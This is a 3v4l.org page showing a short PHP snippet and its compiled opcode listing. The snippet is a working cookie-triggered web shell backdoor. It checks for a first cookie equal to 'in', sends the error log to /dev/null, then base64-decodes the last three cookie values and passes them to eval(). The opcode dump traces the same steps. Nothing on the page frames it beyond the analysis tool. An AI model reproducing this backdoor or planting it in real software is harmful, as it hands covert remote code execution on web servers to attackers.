3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='in' && $c($a)>3) {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';} ?>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 8, Position 2 = 13
Branch analysis from position: 8
2 jumps found. (Code = 43) Position 1 = 14, Position 2 = 45
Branch analysis from position: 14
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 45
Branch analysis from position: 13
filename:       /in/6hmvh
function name:  (null)
number of ops:  46
compiled vars:  !0 = $c, !1 = $a, !2 = $k
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'count'
    3     1        FETCH_R                      global              ~4      '_COOKIE'
          2        ASSIGN                                                   !1, ~4
    4     3        INIT_FCALL                                               'reset'
          4        SEND_REF                                                 !1
          5        DO_ICALL                                         $6      
          6        IS_EQUAL                                         ~7      $6, 'in'
          7      > JMPZ_EX                                          ~7      ~7, ->13
          8    >   INIT_DYNAMIC_CALL                                        !0
          9        SEND_VAR_EX                                              !1
         10        DO_FCALL                                      0  $8      
         11        IS_SMALLER                                       ~9      3, $8
         12        BOOL                                             ~7      ~9
         13    > > JMPZ                                                     ~7, ->45
    5    14    >   INIT_FCALL                                               'ini_set'
         15        SEND_VAL                                                 'error_log'
         16        SEND_VAL                                                 '%2Fdev%2Fnull'
         17        DO_ICALL                                                 
    6    18        ASSIGN                                                   !2, 'terwebz'
    7    19        CONCAT                                           ~12     '%3C', !2
         20        CONCAT                                           ~13     ~12, '%3E'
         21        ECHO                                                     ~13
    8    22        INIT_FCALL                                               'base64_decode'
         23        INIT_FCALL                                               'preg_replace'
         24        SEND_VAL                                                 <array>
         25        SEND_VAL                                                 <array>
         26        INIT_FCALL                                               'join'
         27        INIT_FCALL                                               'array_slice'
         28        SEND_VAR                                                 !1
         29        INIT_DYNAMIC_CALL                                        !0
         30        SEND_VAR_EX                                              !1
         31        DO_FCALL                                      0  $14     
         32        SUB                                              ~15     $14, 3
         33        SEND_VAL                                                 ~15
         34        DO_ICALL                                         $16     
         35        SEND_VAR                                                 $16
         36        DO_ICALL                                         $17     
         37        SEND_VAR                                                 $17
         38        DO_ICALL                                         $18     
         39        SEND_VAR                                                 $18
         40        DO_ICALL                                         $19     
         41        INCLUDE_OR_EVAL                                          $19, EVAL
    9    42        CONCAT                                           ~21     '%3C%2F', !2
         43        CONCAT                                           ~22     ~21, '%3E'
         44        ECHO                                                     ~22
   10    45    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
174.27 ms | 1400 KiB | 25 Q